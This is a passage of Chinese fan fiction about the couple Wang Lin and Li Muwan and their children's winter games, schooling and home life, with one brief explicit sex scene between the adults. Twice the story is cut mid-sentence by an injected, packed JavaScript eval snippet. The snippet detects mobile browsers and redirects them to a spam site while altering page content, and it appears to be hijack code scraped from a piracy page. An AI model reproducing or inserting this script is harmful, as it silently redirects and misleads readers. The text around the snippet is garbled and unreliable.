一阵拍打击荡起莲池,池子莲花随着浪潮晃荡,她的声音绕在桃林深处,漫无目的飘着。王林倚在莲池边沿,长臂搭过池旁,李慕婉枕着他手臂。 她身子轻盈漂在水面,白皙的背部落了几朵含苞的莲,王林驱动神识,花苞开了。 朦胧的雾气腾在水面,遮住了他的视线,线条隐约在水镜里摇曳。 夜幕降临前,两人坐在湖心亭靠椅上,她身上搭着一件王林的外袍,里边什么都没穿,就这样被他抱在怀里。 敞着的胸膛结实处几道划痕,他用了力,李慕婉受不住,那些力原原本本的还给他了,落在身上的痕迹都在诉说莲池那场肆无忌惮的纵情。 王依依在外游历回来已是三年后,个子长高了不少。 这三年来,王林附在她身上的神识,见证着她这三年所经历之事,桃林外阵法开了,王依依身影瞬息落在莲池上,只是身前的娘亲,似乎与她离去时有些不同,她小心翼翼伸着手指,戳了戳李慕婉的肚皮。 “娘亲,你怎么了?”王依依打量着隆起的腹部,不解问着。 王林牵着她挨着自个细说:“娘亲肚子里有小宝宝了。” “娘亲给依依生个弟弟陪你玩,好不好?” “好。”王依依拍手欢喜说,“以后我带着弟弟去山谷玩,爹爹,依依现在可厉害了,若是山谷外再遇着别的修士欺负我,依依不用爹娘,也能打过他们。” “以后弟弟就依依来保护吧,”王依依拍着小胸脯,“爹爹保护好娘亲就是了。” 李慕婉温柔摸了摸她头,王林也点头道好。 王依依缠着二人诉说山谷外的游历,李慕婉靠在王林怀里静静倾听。 她还是会在那颗桃树上久坐,但是不会再望着桃林外的天唉声叹气,而是静观风花雪月,听着爹爹和娘亲在湖心亭上论道,她撑着脑袋却听不懂爹娘言中之意。 桃花开了,王依依小手接了花瓣,娘亲的肚子又大了些,爹爹整日围着娘亲转,还要给娘亲渡灵气,她去外边游历见过不少道侣或是凡世夫妻,都不像爹娘这般粘腻。 桃林下了一场大雪,王林陪着王依依打了几场雪仗,李慕婉身子不便,只能坐在藤椅上见父女玩,说好不许用法术的,王依依打不过爹爹,小脸和衣裳都粘了厚厚一层雪碎,她委屈地求助娘亲。 李慕婉原地捏了一团雪球,还未来得及仍,王依依立在原地期待娘亲替自己报仇,可眼尾紧接着又接了一团雪球,力道把她重心往下压,王依依打滑扑在雪地里,嘴巴吃了一口雪。 王林玩捧腹大笑,李慕婉先是怔愣须臾,生怕她哭了,小心翼翼控制自己的笑容,却见王依依笑了,李慕婉才安心跟着笑,她果然比以往坚强了许多。 又是一年桃花开,桃林迎来第二个小生命,王依依靠在王林怀里,看爹爹哄弟弟睡,摇篮轻晃着,她瞧着那比她小许多的娃娃,忍不住逗他玩。 “爹爹,思礼能说话了吗?”王依依小手戳了戳王思礼肉肉的脸颊。 王思礼张着嘴与姐姐笑,李慕婉如扶风弱柳走近他们,挨在王林身侧坐下,头倚他肩头,王林伸手搂过她薄肩。 “再过一阵弟弟就能与依依说话了。”李慕婉说。 “婉儿,等思礼长大一些,咱们带着孩子们一块去凡间再游历一番,好不好?”王林侧目。 “好,听师兄的。” 莲池上空桃花飞舞,轻盈落在水面,惊动出来觅食的锦鲤,鱼儿穿在莲叶下,水面泛起涟漪,倒映着一幕安逸的画面。 68.雪仗 小年夜过后,雪连着下了好几日,正月初才停下,院里堆了厚厚一层,抬眼望去,整片白色笼罩王家村接连远处山上都挂着积雪。 竹林小院内,日光出来了,几日不见太阳,一家子都在院中晒日,王天水歇了段时日没有接木雕单子,便帮着家里做些新的家具。 周英素给王思礼织着虎头帽,摇篮里的他睡得熟,王林带着李慕婉和王依依打雪仗,王依依手里搓着雪团,王林手里掂着早已搓好的雪团等着她。 李慕婉嘴唇泛起笑容,王依依蹲着小身板,很努力的要把雪团做大,可是她捏了许久,打量着爹爹手里的雪球,还是比不过。 “时辰到了,若依依还没捏好,爹爹可要先扔了?”王林催着她,她心里更急,可是很雀跃。 “娘亲,你和我一起扔爹爹。”王依依撑着手,屁股先撅起来,稳稳站定了。 她手臂用力,可雪团没扔出多远就落地了。 “嗯?”那张小脸皱得失望极了,目光投向李慕婉。 “依依扔完了?”李慕婉弯起唇角,手里还攥着雪球。 王林手中雪球已经扔了出去,王依依愣了一瞬,身上没有雪球打过来,只以为爹爹也没扔准,正高兴之余,片刻后海棠树接连不断有积雪洒落,王依依头顶落了一些,她仰头要看时,又是一堆雪砸下,正好落在她小脸上。 “爹爹使坏。”她躲着,却发现躲不及,王林拉过李慕婉,没让她站在海棠枝下,又夺了她手里的雪球,还提醒着那躲雪团的小人儿。 “依依,你往右边躲躲,那儿不下雪。”王林噙着坏笑。 王依依相信他,往右边海棠枝下躲,李慕婉眼见他手里的雪球又抛向树枝,又见王依依躲开雪球后的得意,只为她接下来的遭遇忍不住掩嘴笑。 “爹爹,依依躲开了……”她话还没说完,又有雪团砸下来,这次雪团更大了,近乎整个裹住了她,王依依一身都沾了雪,面颊胡乱挂着白,见爹爹抱着娘亲笑个不停。 她好像明白了什么。 小嘴瘪了下去,酝酿着情绪,往小院周英素和王天水的方向走去,告状道,“祖父,祖母,爹爹和娘亲一块欺负我。” 王天水放了木头,刀子搁远了些,把人抱到腿上坐,拍着她身上的雪,有些哭笑不得。 周英素赶忙拿了帕子擦着她满是雪碎的小脸,长睫挂满了雪碴,眨眼时像白色羽毛忽闪忽闪的。 见着祖父祖母的安慰,王依依心中委屈更甚,“哇”的一声哭出来了。 “爹娘跟依依闹着玩的,”周英素哄着她,“依依不哭了,祖母晚上给你做包子吃好不好?” 王依依余光打量着远处的两人,爹爹正给娘亲理着乱发,完全不顾自己,她哭得更是伤心了。 “你又逗她玩。”李慕婉整个人被他裹在大氅里,海棠枝还洋洋洒洒飘着余雪。 “她不是喜欢打雪仗嘛。”王林满脸笑意,白发与雪景融为一片,她的手很凉,给握紧了。 “你哄啊。”李慕婉从他氅衣里探出头,观察着。 王林趁机偷偷亲了下,心满意足道,“好,我去哄。” “今夜让她跟爹娘睡吧。”王林寻问着。 李慕婉身子微僵,生下王思礼后王林耐心等着她养好身子,一直没舍得碰,之后从燕州城赶回王家村更是舍不得她受累,路上也克制着。 王依依夜夜吵着跟爹娘睡,先前给她的小房一直没收拾出来,又是冬日的,夜里还得点暖炉,家里更是不放心让她一人睡,只能挤着。 他抱着李慕婉什么都不能做。 这会儿他这么提,李慕婉心里意会,默默点了点头。 得了应允,王林这才去哄女儿,王依依见他过来就知是哄自己的,小脸一把埋入王天水臂弯里蹭着,不想理他。 可王林走近后却不出声,定定的坐在一旁,也不看她,王依依等了片刻,仍是没有动静,这又探出头偷偷瞄着他。 “嗯,是谁打雪仗输了哭鼻子。”王林眼角捕捉着她动作,手里转着木雕玩,一副若无其事的模样。 王依依倚着祖父,鼻子被砸得红了,加上哭过眼睛也是红红的,声音沙哑,时不时还抽嗒一下。 “祖父,你管管你儿子,谁家爹爹欺负小孩玩儿?”王依依语出惊人,惹了院里四人哄堂大笑。 这是正月拜年时,周英素带她去村里走了几回,指不定又是哪家婶子那学来的。 王林哭笑不得,伸出手与她说,“那是爹爹错了,可雪团是树上落下来的,也不是我丢的,依依何故要怪我?” “那雪团为何不砸爹爹也不砸娘亲,偏偏只砸我?”王依依望着他,不愿意过去。 王天水轻轻拍着她小背,二老乐得自在。 “许是,许是……”王林想着由头。 “哼,雪团掉下来,你知道拉着娘亲躲,却不管依依,”她一本正经地带着训斥的意味,“爹爹忘记了,你哭鼻子的时候,还是依依替你擦的眼泪呢,怎么娘亲回来了,你就把依依忘记了。” “嗯?哭什么鼻子?什么回来了?”周英素听得稀里糊涂。 王林见她说多了,一把从王天水怀里抱过来,捂着她小嘴,“依依胡说的,爹爹带你去换身干净的衣裳。” “那爹爹还欺负我吗?”王依依插着手臂,语气带着一股威胁,人小鬼大。 “爹爹跟你闹着玩的,”王林哄着她,“你答应爹娘的,怎么出尔反尔了?” 王依依被问得有些理亏,“那爹爹不能欺负我,我就答应不说。” “那是自然。”两人入了西厢房,王林说,“依依不是想玩爆竹吗?晚上爹爹陪你玩,好不好?” “好。”王依依不记仇,哭过就好了,只要有人哄,她脾气就收了,“大头家他爹爹给他买了好多爆竹,祖母带我去的时候,他都不让我玩。” 大头是王浩的儿子,比她小了两岁。自打在王浩家见着人家玩爆竹,她也想玩,回来便吵着要买。 翌日李慕婉回药铺探望哥哥,王林便带她上镇子买了许多回来。 只是她年纪小,玩的时候得有人在一旁盯着。 “那依依也要答应爹爹一件事,”王林脱下她沾了雪的外裳,毛领处也都是雪,难怪她哭得委屈,“依依回来许久没陪祖父祖母睡了,今晚依依陪他们可好?” 王依依想也没想,点头应他,“好。” 这点性子倒是像她娘亲。换了衣裳王依依又跑回院子玩,只是这次乖乖的挨着祖父母,看祖父刻新的家具,又转头看祖母手里织的虎头帽。 “祖母,你给依依织的兔耳朵帽子,依依很喜欢。”王依依说,“这个虎头帽,弟弟肯定也很喜欢的。” 周英素摸摸她头。 李慕婉晃着摇篮,王思礼睡醒一觉,这会儿也要找人玩,李慕婉抱起他凑近人群里去,王依依隔着案几给娘亲怀里的弟弟做鬼脸逗他玩。 “看姐姐。”李慕婉看着她小脸还是红红的,忍不住摸了几下。 “娘亲好香。”王依依蹭着她手。 王林从檐下拿了果子过来,搬了张矮凳挨着李慕婉坐,手臂抱着她。院里欢声笑语,王依依古灵精怪地总能逗着大伙笑。 入夜后,家中用了晚饭,堂屋待了没一会儿,王林哄睡王思礼,带着李慕婉回西厢房。 王依依黏着祖母说要跟在堂屋睡,晚饭前王林陪着她玩了好一会儿的爆竹,她玩累了。 她拽着祖母衣角,往屋里去,走时还回头朝王林眨了眨眼,王林挑眉朝她点头,好似告诉她,做的不错。 王思礼在摇篮上玩了一会儿,李慕婉洗漱好擦着鬓间湿发,屋内烧着炭火,屋外冷风吹得疾骤,她挨过去看了看摇篮里的人。 “睡着了?” 王林回眸,轻声说:“刚睡着。” “晚间爆竹声响了好久,他都没怎么睡。”李慕婉给他多盖了一层小被。 “方才在堂屋睡了小会儿,”王林握着她手,身上的皂角香侵入鼻息,“婉儿,我来替你擦。” 帕巾到了他手里,李慕婉歪头让她细细擦着,李慕婉挪了位置,坐在他腿上,指尖拨着他发丝,木簪挽起的白发落了一缕在胸前,李慕婉把玩着,屋内炉子炭火燃得烈,把两人烤得炙热。 似心照不宣,王林顺势横抱起,轻轻放在软榻上,李慕婉双臂勾着他本想要起,却被王林压下,目光透着占有和欲望。 长久未有亲近,李慕婉又重回生涩,含羞时头埋的很低,几乎藏入被褥里,王林不慌不忙,打量着她的动作,越是如此,越是勾着他。 他伸指抬起李慕婉下巴,碰上自己的唇,触碰上的须臾,软热覆盖,渡着全身。王林再次落唇,还是轻含着,转辗中他声线哑重:“婉儿,张嘴。” 李慕婉乖乖照做,红唇轻启,舌尖倏然滑入,缠绕着,高耸的鼻梁压着她,李慕婉仿若窒息,倒吸一口气,推了推他胸膛。 王林狼腰弓起,膝盖抵着床榻,又压了下去。 他的沉闷盖过李慕婉的喘息,显得无比迫切。李慕婉捂着他嘴,视线撇了一眼摇篮处,舒缓道,“阿兄,你小声一些,别吵着他了。” 王林微微撑身,仅是扫了眼,抓过她手腕,埋头继续。 舌床转着玉珠,似还有味道滑入口中。 小院寒风凛冽,村里还有人家在放烟火,光亮透着窗户,隐隐约约闪过。 床板“吱呀吱呀”地叫,李慕婉怕吵着王思礼,不稳的声音止住王林。 “阿兄,小声一些。”软指捂上了他的唇。 可他没有听。 李慕婉被撞的心神恍惚,声音止不住。 过了后半夜,屋内动荡安静后,枕在臂弯的人熟睡着,时而一股发丝清香绕着他,王林鼻尖蹭着李慕婉绯红的面颊,榻沿的手轻晃着摇篮,烛火微晃,细碎点着屏风。 *** 寒冬卷过竹林,转眼王思礼已经两岁了,会跑会跳,整日跟在王依依身后喊着姐姐,相比王林和李慕婉,他似乎对姐姐更是粘腻。 王家村昨夜下过雪,满片白色铺盖,竹林小道踩上积雪,留下深厚的脚印。王林挑着水在前边走着,李慕婉拿了本书,跟在他身后念着文章。 王依依和王思礼一前一后,摇摇晃晃踩在雪地里,王林还特意放慢了脚步。 王思礼走得慢,两岁的他走的并不太稳,走着走着就能把自己绊倒。小脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14273431|144902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扎入雪地里,双手撑着咿咿呀呀叫着姐姐,王依依蹦蹦跳跳的转着手里的风车,偶尔回头查看有没有跟上的王思礼。 见着脸埋入厚雪的弟弟,王依依定身顿足,收了手里的风车,赶忙去抱起王思礼,可是雪地易滑,她还未用上力,也跟着栽入雪里,两人莫名笑着,身前走了些距离的王林和李慕婉闻见嬉闹回了头。 却见王依依坐在雪地里,厚重的袄褂让她行动本就不便,她呆呆望着打量过来的爹娘,朝李慕婉撒着娇,“娘亲,弟弟摔雪里了。” 她翻着王思礼,艰难从雪里撑着手坐起,两人仰着头视线一致。 王林牵着唇角,淡淡一笑,放了手里的木担,两人一人抱起一个,拍净姐弟二人身上的雪碎。王林单手抱着王依依,她如今六岁了,个子又长了些。 “弟弟走得慢,爹爹娘亲步子大,依依只能走得慢一些,等等他。”王依依抓着他衣襟,很是认真解释。 “那怪爹爹走快了,没等你们俩。”王林知道她的意思。李慕婉给王思礼脸颊的雪擦了干净,衣领处还进了不少,他冷的往她怀里钻。 “娘亲,抱。”王思礼稚嫩的声线喊着,李慕婉要放他下地他卷着小腿不愿沾雪了。 “好,那娘亲抱。”李慕婉眉目柔和,身上散着无比温柔的气质。 塞雪的肌肤透着粉红,一人抱着一个,偶尔王林回着女儿的疑问,王思礼在李慕婉怀里时不时要引着王依依的注意力。 欢声笑语回荡在竹林小道上,冬日阳光明媚,小院的白梅长得更茂密了,海棠树上多了个秋千,是王林特意给王思礼做的。 李慕婉坐在院里给王依依梳着小髻,王思礼坐在檐下玩着小马,王林弓身正在做着一个滑雪板。 周英素从鸡舍出来捡着几个刚下的蛋,念着要给姐弟二人煮着吃,王天水从堂屋端着烟斗出来晒日。王依依梳好小髻跑去迎着祖父,抱着刚要下阶的他,“祖父,依依扶您。” 王天水慈爱地摸了摸她的小髻,“咱们家依依是最乖的。” “又是一年,依依长得快。”周英素附和道。 “爹爹说等出了正月要带依依去县里念书。”王依依拉着他坐下,“祖父,要想依依噢。” 待王天水坐好后,她又牵过周英素,给她搬了张竹椅,王林抬头寻着李慕婉身影,见她在檐下替王思礼擦着玩脏的小手,王依依正与爹娘坐着,逗他们趣。 “好,依依去了县里要听爹娘的话。”王天水宠溺说。 王林的滑雪板做好了,吹掉木板上的碎屑,碎屑被风带过,沾了些在李慕婉裙摆上,他走近说:“婉儿,一块去吧。” 他答应了要给孩子们做块滑雪板,从海棠院墙后的坡道下滑,落了雪的冬季,道路就是天然的滑雪道。 滑雪板大,能坐下一个大人和孩子。 “嗯。”李慕婉点头,抱了檐下的王思礼。 王林带着王依依率先滑下,她紧紧拽着王林的衣袖,李慕婉带着王思礼紧跟其后,到坡底了,王林起身迎着身后二人,王思礼张着双臂,他人小,李慕婉紧紧拥着他,滑停了,王林才上去搀扶起她。 王依依绕在他腿间,雪地太滑了,王林伸手时,王思礼张着手要过去,只是退时却不晓得王依依还在身后,发觉时已经晚了,他护着怀里的人,自己倒在雪地里,王依依见状好玩,扑了上去。 王林被两人压着,王依依抓了把雪塞入他衣襟,王林冷的不行,李慕婉瞧着场面很是好笑,谁料王林也抓了把雪朝她身上丢去,李慕婉本欲要躲,打滑了。 直直往他那栽,王林空出一只手,接住了她,李慕婉枕在他手臂上,惊魂未定,又被王林翻身压下,她推不动。 “依依,思礼,救救娘亲。”李慕婉手从他身侧伸出,王思礼第一个抓住了手腕,试图把李慕婉拉出来,可却纹丝不动,王依依大一些,知道爹爹又在闹娘亲,捂着嘴干笑。 王林压得严实,李慕婉整个身躯被他挡下,两人几经要见不着她人,王思礼急得要哭了,眼眶转着泪。 “王林,孩子们在呢。”李慕婉低声提醒着,王林抚着她额心蹭的雪,落了一吻。 骤然间,王思礼哇的一声,哭得响亮,周英素在小院里听着声,焦急往外跑。 身影立在海棠外墙上,只见王林抱着他,哄着他,小脸哭花了,声音还未止住。 “铁柱啊,怎么了这是?”周英素隔空喊了声。 王林连忙道:“娘,无事,跟他闹着玩呢。” “爹爹欺负娘亲,思礼就哭了。”王依依插着小手天真道,一副看好戏的神色,眼神还时不时瞟着王林。 王林无奈,漾起笑摇了摇头。 “雪地里冷,别玩太晚了,回来烤烤火。”周英素留了句话便回去了。 “你是这么给祖母告状的?”待她走远了,王林捏了两下她的面颊,带有威胁的语气。王依依皱着小眉,眼巴巴望着李慕婉,李慕婉笑靥如花,眼神满是溺爱。 “爹爹,你捏,祖母还没走远呢。”王依依平静地把小脸凑过去,等着王林。王林瞧了眼院墙,周英素的背影刚进去,李慕婉伏在他肩头笑得不停。 能治他的又多了一个。 69.玩闹 “爹爹何时欺负娘亲了,”他起身拍了拍雪碎,衣袖擦净王思礼的泪,鼻头冻红了,小手也是冰凉的,他一手抱一个,“走吧,回去烤火。” 夕阳余晖笼罩着四人,李慕婉挽着他手臂,视线落在两个孩子身上,王林目光柔和,裹着她,被他揉得些许凌乱的发增了几分让人怜爱的气息。 “阿兄,你走路总盯着我看做什么?” “这样婉儿才会看我啊。”王林声音很轻,目光炽热。 王依依是个贴心小棉袄,懂爹爹的心,“爹爹也想娘亲看看他嘛,爹爹,依依说得对不对。” “嗯。”王林点头。 “知道了。”李慕婉抚平她衣领,王林身上挂了许多雪,两个孩子也是。 王天水在堂屋烧好了炭炉,火星子哔叭响着,炉里还烤着几条红薯,香味起来了。 王思礼闻着香味,肚子咕咕叫了两声,王依依也凑近闻,见她离炭炉近,王天水给抓了回来,“小心些,别烫着了。” 王依依张着手要祖父抱,周英素从厨房里端了王思礼的米糊,王林接过,“娘,我来喂吧。” 夜里王家村又下了场大雪,两个小人儿吵着要和爹娘睡,一张矮榻挤满了人,小的躺在最里边,两人挨着躺在外边。 屋外的竹林北风狂吹,李慕婉扰着有些睡不下,王林轻轻拍着她背哄睡,怀里的热气渐渐上来了,呼吸清浅,王林这才睡下。 雪停了几日,却没化完,院子盖着厚雪,日中时,王依依骑着小木马载着王思礼在院里玩,王林捧了杯热茶往药房去。 药房药炉烧了一夜,暖烘烘的,闷得她额间渗出些细汗。李慕婉喝了几口热茶,王林又替她擦汗。 窗台上插了几支白梅,沿着窗台望出去,两个孩子玩得不亦乐乎。王依依停了小马,把王思礼丢在上边,自个又去扑麻雀玩,王思礼左右观察,踉跄爬下木马,一屁股坐在雪地里。 李慕婉瞧见这一幕,不禁扭头朝王林笑了笑,身后的胸膛结实,目光柔和地落在她身上,抵着她,爱怜地摸着她鬓间。 王思礼爬起身随意拍了两下,棉袄挂穿得厚,他行动并不算利索,屁颠屁颠地去追着姐姐。 “婉儿。”王林身后环紧她。 周英素听见院里的欢声,忍不住从堂屋出来瞧,手里还拿着针线,王天水已经不接木雕单子了,只是偶尔会雕些小玩意儿给孙儿们玩。王天水从身后跟着出来,这两年他烟也少抽了。 “依依,思礼,小心些,别摔了。”王天水慈眉善目,细细盯着两个孩子,话音刚落,王思礼便左脚伴右脚,扑在雪地里,一张脸都是雪,却不见他哭,又爬起来接着追。 李慕婉又是一声轻笑,“思礼这性子,是不是跟阿兄有些像?” “婉儿何出此言?” “性子执拗,不达目的不罢休。”李慕婉回眸看他,王林轻描淡写一句,“许是吧。” 王依依瞧他追的紧,便放慢了脚步等等他,麻雀被他们追着再不敢下地,扑棱着翅膀停在枝头,把头埋入羽毛里。 “姐姐……”王思礼一句话长话还说不完整,只能几个词几个词地蹦。 “不见了,”他指着海棠树,“鸟,不见了。” 王依依转头看着他,两人的小脸都红透了,周英素放下针线,给两人身上的雪擦干净,又给王思礼重新换了件袄褂。 几人在院里晒日,丹药冷却好,王林帮着李慕婉收拾了会,王依依望着药房,青烟散去,听得一声开门声,王林和李慕婉一同立在檐下,两个孩子相视一眼,心照不宣地跑了过去。 王依依跑的快,冲劲儿也大,王林蹲身抱起她,小手都是冷冰冰的。他身上暖,王依依便使劲钻。 眼见王思礼跑着跑着又要摔了,李慕婉下了两个阶,蹲身接住了他。 “娘亲。”王思礼稚嫩的声音唤着她,鼻头红红的,小脸一到冬天就泛红。 “思礼乖。”李慕婉蹭了蹭他小脸。 两人往白梅树下的案几走去,王天水煮了一壶茶,周英素又拿了些果子,剥着果仁递给两个小孩。 这个年纪的孩子坐不住,待了一会儿又跑开。 “等正月过后,依依该正儿八经去私塾了。”王天水又拿起一块木头,闲下来无事他总想着刻些什么。 王林沉思须臾,县里的路去岁重修,王家村去县里的路程短了一截,与去清平镇路程无二。 “爹娘,我跟婉儿决议好,到时间让依依在县里念书,我们带着思礼,婉儿看着药铺,爹不是还想做木雕嘛,儿子继续经营木雕铺子,爹想刻什么,雕好了放到铺子里卖。” “总归路程短了,我和婉儿隔三差五就回来,县里的宅子大,爹娘若愿意搬来与我们一块住,婉儿和我自是更开心。” 周英素看着王天水,王天水摇摇头,“你们年轻人啊多出去也好,我们年纪大了,守着这个小院,已是心足。” 李慕婉面带了失落,王林注意她的情绪,搂了搂她,“依爹娘的,爹娘身体康健,我和婉儿得空就带着依依和思礼回来。” 王依依在县城私塾里念书,夫妻二人得空了早晚接送,要不就是许立国。 王思礼还小,便放在药房里呆着玩儿,两人都脱不开身时,这活就许立国做了,只是王思礼并不闹,拿了小人书自己能安安静静看一两个时辰。 下学后,许立国把王依依从私塾里接回来,王林得空时大多时候都会辅导她功课,王思礼凑在一处专心听着爹爹与姐姐讲学。 那些诗文,他不懂什么意思,可是听着听着就会背了,虽说字念不清楚,大致能听出来。 王林和李慕婉发觉他记忆力惊为天人,是个读书的好料子。 又见他总爱看书,王林也开始教他识字,不曾想他记得快,学得快。 “他这,”李慕婉伏在王林肩头,望着他怀里专注念书的王思礼,“以后去私塾,恐怕先生教的他都学会了。” 王林摇摇头笑着。 逢上王林不得空,李慕婉又要忙着算药铺账务,只能许立国盯着王依依做功课。 可许立国总是撑着头在她跟前打瞌睡,王依依功课做完了,王思礼的小人书也看完了。 她逗着弟弟,朝王思礼比了个嘘的手势,随即沾了墨汁,在许立国脸上画王八,王思礼要笑,王依依赶忙捂住他嘴,又嘘了一声。 睡着的许立国赶蚊子式的抬手扫了扫,王依依把笔递给王思礼,王思礼小脸露出一抹邪笑。 他坏笑时,跟王林简直一个模子里刻出来的。 王思礼个子矮,得举着笔才勉强够到许立国,笔刷胡乱在他鼻孔扫了几下,许立国打了个喷嚏,醒来了。 见着王依依正盯着自己笑,王思礼手里还拿着笔比划,许立国不明所以。 转念须臾后,他朝院中的水缸里照了照,面颊画了只王八,又画了几笔长胡须。 “这两小祖宗又拿我寻开心。”他怨念道,转身回去拿了支笔,蘸满墨汁,抓住王思礼先在他小脸上画了花猫,王依依见状不好,撒腿要跑。 朝前院的人喊,“爹爹,娘亲……” “喊谁都没用,瞧你给我画的,我要找主子和主母告状。”许立国一副受了天大委屈的模样。 王依依跑不赢,又害怕被他追上,嬉闹的笑声急促又惊慌,看得出来她很兴奋,“许立国叔叔,别追了。” 她绕着水缸跑,绕晕了许立国,他又抓不住,王依依见状又燃起信心,挑衅地朝他做鬼脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14290035|144902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 许立国又气又急,以他身手要抓个小娃娃不难。 “小祖宗别跑了,许叔叔不追就是。”他骗人的伎俩哄不到她。 王依依没有停,王思礼看着姐姐跑,觉得好玩也要跟过去,却不慎绊倒了,想哭来着。 王林和李慕婉忙完铺子的事回到后院看着这一幕,王林眉心紧锁,睨了一眼许立国。 许立国可怜兮兮地跑去告状,指着自己脸上姐弟二人的杰作,“主子,主母,你们要为小许子主持公道啊。” 王林又朝他脸上扫一眼,不堪入目,李慕婉掩着嘴偷笑。 “爹爹,娘亲。”王依依状若不知地唤了两人,诚实道,“许立国叔叔打瞌睡,依依画的。” 王林摇摇头,李慕婉抱起王思礼,手掌擦破了些皮,他没哭。 “罚站。”王林淡淡一声,面无表情地入了屋子。 三人手上和面颊都沾了墨汁,委屈巴巴面壁思过,王依依偷瞄许立国一眼,又偷偷笑了。 李慕婉跟在身后,铺在背上的白发格外显眼,轻描淡写道,“阿兄,你故作生气的样子,倒是比依依还要好笑。” 王林转身,两人心照不宣地笑了。 “我若不端着,他们下次便敢肆意妄为,家中总得有一人立威才是。”王林拉过李慕婉坐在腿上。 “那让他们罚站多久?”李慕婉手里玩着他发丝。 “嗯,”王林默了须臾,“半个时辰,那些墨汁让他们自己收拾。” “好,听阿兄的。”李慕婉贴着他,窗台望去,三人立在院墙下,摇摇欲坠地摆动着身躯,王思礼年纪小,站着站着便困了。 可夫妻两人谁都没让步,愣是让他们站够半个时辰才作罢。 *** 每隔七日,王林又带着孩子们回王家村,屋里烧了炭,暖呼呼的,支摘窗留了条缝隙,廊灯的光偷溜进来,烛火晃在那张陈旧的屏风上,王林坐于长木桌前,手里捧着一本书,散下的白发映着昏黄。 李慕婉给他盖了一件厚氅。 王依依和王思礼在矮榻上打闹,王思礼被姐姐压着动弹不得,李慕婉刚铺好的床褥,又被两姐弟弄乱了。 “姐姐,”王思礼奶声奶气地求饶,“不敢了,不敢了。” “小麻袋再叫一句姐姐,就饶了你。”王依依仗着比他大一些,揪着他小脸玩。 “姐姐,姐姐。”王思礼乖得很。 王依依直起身子,顺带拉了一把他,两个人玩得脸热乎的,红红的。 她看着王思礼乱掉的福娃辫,忍不住要笑。 李慕婉卸好妆发,要去床榻哄睡,两个小孩玩得正起劲,压根听不见娘亲的话,加之她声音温柔,平日又少训孩子,在孩子那威严不足。 “依依,思礼,别玩了,跟娘亲睡觉。” 两人不理会,嬉闹喊叫愈发响亮,吵着看书的王林,眉峰紧蹙。 李慕婉叹气,又哄道,“你们不睡,娘亲自己睡了。” 李慕婉状若不理二人,半靠在床头,拉了被褥。 屏风后的王林合上书,声音严肃,“爹爹数到三。” “一、” 二还未出口,两人猛地钻入被褥,小手紧张地举在胸前,李慕婉温柔笑着,给他们拉好被角。 王林听得动静便知这招管用,不由泛起笑容,起身往屏风后的矮榻走去。 他目光落在李慕婉身上,两个人半蒙了头,在被褥里边偷笑。 听着脚步声走近了,又忍不住要探出头去看王林。 他神色还装着肃正,两个人看了一眼更乖了,收了笑容。 “为何不听娘亲的话?”躺在最里边的姐弟二人望了一眼李慕婉,李慕婉并不作声。 70.结发 她知道王林要训孩子了,每每王林训话时,她从不插话阻止。 “看谁呢?”王林声音肃穆,盯着两人的小动作。 王思礼害怕不敢吱声,小手紧紧抓着王依依衣领,王依依知道要护着弟弟,小手拍着他,主动认错。 “爹爹,依依知道错了,是依依带着弟弟玩的。”她小脸委屈,王林眼睛一动,她便知道爹爹要做什么。 “是跟爹爹认错?还是跟娘亲认错?” “娘亲,依依错了,是依依不乖。”王依依拽着李慕婉中衣袖口,等着娘亲开口。 她没及着应。 “娘亲,爹爹,思礼也错了。”屋内静得只听得见炉火的声音,王思礼也跟着姐姐一块认错。 “知错就改,才是好孩子,你们还要玩吗?”李慕婉抚着两个人。 姐弟俩齐齐摇头,乖得很。 王林敛起肃色,往空出的位置坐下,滑入被褥里,手臂揽过李慕婉。 “爹爹,不生气了吧。”王依依望着他,试探道。 “爹爹不是生气,”李慕婉倚在他胸膛,给两人掖紧被角,姐弟俩共用一块小被,李慕婉与王林同盖一张被褥,“你们本该要睡了,是依依跟娘亲说要多玩一柱香,娘亲才答应,可时辰到了,依依为何不遵守承诺?” “是依依错了……”王依依摇着她手臂。 小孩贪玩,自控不了,可自小若不约束,长大便无了规矩,李慕婉和王林自是要管教。 “守时,守信,乃为人之道,依依既然知道错了,往后不要再犯就是。”李慕婉摸着她脸蛋,手心暖暖的,王依依蹭了蹭。 “爹爹说,君子一言,驷马难追。”王思礼低声说,听得是困了。 “是了,”王林点头,“睡吧。” 王思礼玩累了,片刻后呼出的气息有些重,王依依收起玩心,盯着爹爹娘亲,眼睛眨巴眨巴的,困得打架。 “依依怎么还不睡?”李慕婉侧躺下了,背对着王林,枕在他手臂里,腰上搭着他的手。 “爹爹和娘亲怎么不睡?是还要说悄悄话吗?”王依依认真问道。 王林笑道,“依依快睡吧。” 王依依才舍得闭眼,王林搭在李慕婉腰上的手捞了她往自己贴近,抵着她。 北风吹着竹林,竹子又刮得凄厉,她转了个身,钻入他怀里,鼻尖抵着王林锁骨处,身上淡淡的提神香,引着她入睡。 *** 王依依不管到了哪里,都熟悉得快,白日爹爹娘亲忙着自己的事,没空与她玩,她便乐意跟着祖母去走人家。 久而久之,周英素没空外出,王依依自己坐不住,带着弟弟就往村里跑,她爱去王浩家和谢三婶家玩,王浩家的大头玩具多,稀奇东西也多,谢三婶家好吃的多。 